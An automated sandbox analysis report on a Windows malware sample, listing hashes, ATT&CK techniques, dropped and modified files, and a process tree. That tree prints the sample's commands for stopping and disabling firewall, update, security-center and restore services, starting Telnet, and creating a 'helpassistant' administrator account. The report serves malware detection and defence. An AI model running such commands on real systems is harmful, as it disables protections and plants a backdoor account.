6dfa5c05f6001732f158d8922191e326db77651f6b780dd7e29dc7a97331d7ee

Analysis

max time kernel
148s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/08/2026, 04:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
Size 839KB
Sample260816-e35zwabc23
SHA256 6dfa5c05f6001732f158d8922191e326db77651f6b780dd7e29dc7a97331d7ee
MD5 5f218d56817a19f9fae88dcb0e4e4598
SHA1 5bb9483fd02457efd76942f27f5fd8dd9d1e81ce
SHA512 3c898a9679785707dc1a54982e48a3b6891f79c4e988ac4415869316c060a664539e53f65640af432de0869e95d7ae5663806509d6d5f3740bbc3c5797d6b2d4
SSDEEP 24576:w4R5CIH/7Vk20GfLhcMm3NCdBTNsmm3NCdBTNst:wabH/xkYS13NCLTi3NCLTI
TLSH
T19A058D62B3A048F5E8B3C17998648506EA727C750760CA9F63D4370A1F733E26D78B5B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\drivers\2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~1.Doc	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
3764	UpdatAuto.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\dayget.dat	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File created	C:\Windows\SysWOW64\Option.bat	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Windows\SysWOW64\UpdatAuto.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Windows\SysWOW64\Option.bat	UpdatAuto.exe
File opened for modification	C:\Windows\SysWOW64\UpdatAuto.exe	UpdatAuto.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\dotnet\dotnet.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\kinit.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javac.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jinfo.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\rmiregistry.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\xjc.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\7z.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javah.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javap.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\rmiregistry.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\unpack200.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javafxpackager.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jdeps.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jhat.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\wsimport.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\java-rmi.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\jabswitch.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javaws.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jstatd.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\native2ascii.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javah.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\klist.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\schemagen.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jmap.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jrunscript.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\pack200.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\unpack200.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\wsgen.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\wsgen.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\7-Zip\7zFM.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jar.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\wsimport.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jcmd.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jcmd.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jconsole.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javac.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javapackager.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jdb.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jinfo.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\setup.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javapackager.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\orbd.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\rmid.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java-rmi.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javafxpackager.exe	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jdeps.exe	UpdatAuto.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4732	sc.exe
3668	sc.exe
4400	sc.exe
2640	sc.exe
1216	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 8 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
736	cmd.exe
372	cmd.exe
3128	cmd.exe
3080	cmd.exe
4252	cmd.exe
4960	cmd.exe
5008	cmd.exe
1772	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UpdatAuto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe

Runs net.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2016	WINWORD.EXE
2016	WINWORD.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
4888	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
3764	UpdatAuto.exe
2016	WINWORD.EXE
2016	WINWORD.EXE
2016	WINWORD.EXE
2016	WINWORD.EXE
2016	WINWORD.EXE
2016	WINWORD.EXE

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 4888 wrote to memory of 3080	4888	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	85
PID 4888 wrote to memory of 3764	4888	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	87
PID 3764 wrote to memory of 4252	3764	UpdatAuto.exe	88
PID 4888 wrote to memory of 2016	4888	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	94
PID 4888 wrote to memory of 4696	4888	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	95
PID 4888 wrote to memory of 3128	4888	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	96
PID 4888 wrote to memory of 372	4888	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	97
PID 4888 wrote to memory of 736	4888	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	98
PID 4888 wrote to memory of 1772	4888	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	99
PID 4888 wrote to memory of 5008	4888	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	100
PID 4888 wrote to memory of 4960	4888	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	101
PID 4888 wrote to memory of 1216	4888	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	102
PID 4888 wrote to memory of 2640	4888	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	103
PID 4888 wrote to memory of 4400	4888	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	104
PID 4888 wrote to memory of 3668	4888	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	105
PID 4888 wrote to memory of 4732	4888	2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe	106
PID 1772 wrote to memory of 1116	1772	cmd.exe	119
PID 1116 wrote to memory of 4268	1116	net.exe	120
PID 736 wrote to memory of 2604	736	cmd.exe	121
PID 2604 wrote to memory of 3352	2604	net.exe	122
PID 4696 wrote to memory of 2856	4696	cmd.exe	123
PID 3128 wrote to memory of 3364	3128	cmd.exe	124
PID 2856 wrote to memory of 4804	2856	net.exe	125
PID 3364 wrote to memory of 2448	3364	net.exe	126
PID 372 wrote to memory of 1872	372	cmd.exe	127
PID 5008 wrote to memory of 2372	5008	cmd.exe	128
PID 1872 wrote to memory of 1068	1872	net.exe	129
PID 4960 wrote to memory of 4288	4960	cmd.exe	130
PID 2372 wrote to memory of 3212	2372	net.exe	131
PID 4288 wrote to memory of 1680	4288	net.exe	132

C:\Users\Admin\AppData\Local\Temp\2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe"
1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4888
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3080
- C:\Windows\SysWOW64\UpdatAuto.exe
  C:\Windows\system32\UpdatAuto.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3764
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4252
- C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
  "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Windows\system32\drivers\2026-08-16_5f218d56817a19f9fae88dcb0e4e4598_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~1.Doc" /o ""
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:2016
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop sharedaccess
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4696
- - C:\Windows\SysWOW64\net.exe
    net stop sharedaccess
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2856
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop sharedaccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:4804
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop wuauserv
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3128
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3364
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:2448
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop wscsvc
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:372
- - C:\Windows\SysWOW64\net.exe
    net stop wscsvc
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1872
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wscsvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:1068
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop srservice
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:736
- - C:\Windows\SysWOW64\net.exe
    net stop srservice
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2604
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop srservice
      4⤵
      System Location Discovery: System Language Discovery
      PID:3352
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net start TlntSvr
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1772
- - C:\Windows\SysWOW64\net.exe
    net start TlntSvr
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1116
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start TlntSvr
      4⤵
      System Location Discovery: System Language Discovery
      PID:4268
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net user helpassistant 123456
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5008
- - C:\Windows\SysWOW64\net.exe
    net user helpassistant 123456
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2372
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user helpassistant 123456
      4⤵
      System Location Discovery: System Language Discovery
      PID:3212
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net localgroup administrators helpassistant /add
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4960
- - C:\Windows\SysWOW64\net.exe
    net localgroup administrators helpassistant /add
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4288
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup administrators helpassistant /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:1680
- C:\Windows\SysWOW64\sc.exe
  sc config srservice start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:1216
- C:\Windows\SysWOW64\sc.exe
  sc config SharedAccess start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:2640
- C:\Windows\SysWOW64\sc.exe
  sc config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:4400
- C:\Windows\SysWOW64\sc.exe
  sc config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:3668
- C:\Windows\SysWOW64\sc.exe
  sc config srservice start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:4732

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Credential Access

Discovery

Network Share Discovery

T1135

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

7z.exe

Path C:\Program Files\7-Zip\7z.exe
Size 1.4MB
SHA256 c1c35624836fe5b9810cebffbbaad725b554fb0a1746311c062d0c6fd81cf935
MD5 5880baccd4da8161228eca757ee94bc9
SHA1 67a10bc71a1888380558619114d03d0eb42ee467
SHA512 3396329d7f1ec4dd93bc3b3591a0fdfeb2c6adceb6bcc848a3e5a922e149b626b2559fae4cea26effee37e75a20443db574650fd13c6378c50ee71b845bd931f
SSDEEP 24576:w4R5CIH/7Bk20GfLhcMm3NCdBTNsmm3NCdBTNsJ0Le5ji0hmxNrM:wabH/FkYS13NCLTi3NCLTkPji0Aj
TLSH
T1AA656C11F7A446B5E473C079C8A2964AEA723C550730CACF5395B72D2F337E29939B22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7zFM.exe

Path C:\Program Files\7-Zip\7zFM.exe
Size 1.8MB
SHA256 dfc3cd45f8e3d958d319f51f2a67712f7eb37516114af65b6c91d93de0eb0dc5
MD5 4a478c7b1ad960132d444d688755fb69
SHA1 3b21e2b3537da4627cf5781bcdb7e65d7a275603
SHA512 73a49afd671d84b39782e5e87a8580bbd7ae2c211305db13d277ad3a3e7030b867f632cab6d65155bb7a8c0b7111a0e07cbf5387e0372778213429f875305c0c
SSDEEP 49152:wabH/FkYS13NCLTi3NCLTH/ezSC6vUzPvMHjy:SCSCHezSC6v2XMH
TLSH
